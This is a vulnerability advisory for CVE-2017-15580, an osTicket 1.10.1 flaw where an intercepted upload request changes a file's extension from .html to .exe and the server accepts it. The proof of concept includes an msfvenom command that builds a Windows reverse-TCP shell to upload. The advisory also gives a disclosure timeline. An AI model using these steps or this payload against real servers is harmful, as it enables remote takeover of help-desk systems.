osTicket 1.10.1 Shell Upload
Posted on 25 October 2017
Reference: https://becomepentester.blogspot.ae/2017/10/osTicket-File-Upload- Restrictions-Bypassed-CVE-2017-15580.html *# Exploit Title: File Upload Restrictions Bypassed* *# Date: 18 October, 2017* *# Exploit Author: Rajwinder Singh* *# Vendor Homepage: http://osticket.com/ <http://osticket.com/>* *# Software Link: http://osticket.com/download/go?dl=osTicket-v1.10.1.zip <http://osticket.com/download/go?dl=osTicket-v1.10.1.zip>* *# Version: v1.10.1* *# CVE : 2017-15580* Vulnerability Details: ====================== osTicket application provides a functionality to upload 'html' files with associated formats. However, application does not properly validate the uploaded fileas contents and thus accepts any type of files. *Proof-of-Concept:* ==================== Uploaded shell to get reverse shell of end user for the demo purpose. 1. Created a valid '.html' file to bypass client-side validations. <html> <title>test</title> <body> <p>test page</p> </body> </html> 2. Created a reverse shell with '.exe' file extension using msfvenom. msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 -b "x00" -e <encoder> -f exe -o reverse.exe https://www.offensive-security.com/metasploit-unleashed/binary-payloads/ 3. As shown in the below screenshot, intercepted the request and changed file extension '.html' to '.exe' and received a valid response from server along with uploaded malicious file. <https://3.bp.blogspot.com/-XqKsaTccLvg/WebuXgaRd7I/AAAAAAAANVs/NoWSFi9Mmwol8KxzUJQzyCSonov3yqg6gCLcBGAs/s1600/1.file_upload_extension_bypass.JPG> *Response:* <https://4.bp.blogspot.com/-3peKN-VR_os/Webulv3N7aI/AAAAAAAANVw/17FtsSCVNoIxTcEsfUle4VxQKYlQoBAqQCLcBGAs/s1600/2.file_upload_extension_bypass.JPG> 4. As shown in the below screenshot, successfully uploaded malicious file on the server. <https://4.bp.blogspot.com/-lH2vbsUDKZQ/Webu0WOio-I/AAAAAAAANV0/Jl8KFD0cHZsinpENfc1hV8OaDtcH1P0YQCLcBGAs/s1600/3.file_upload_extension_bypass.JPG> Ready to get reverse shell. *Affected Component:* ==================== *Parameter:* tickets.php?id=<ticket_number>#reply *Disclosure Timeline:* ===================== Vendor Confirmation: 11 October, 2017 Mitre Notification: 17 October, 2017 Public Disclosure: 18 October, 2017 *Exploitation Technique:* ======================= Remote *Severity Level:* ================ High *Description:* ===================================================== Request Method(s): [+] POST Vulnerable Product: [+] osTicket - v1.10.1 Vulnerable Parameter(s): [+] tickets.php?id=<ticket_number>#reply Thank you
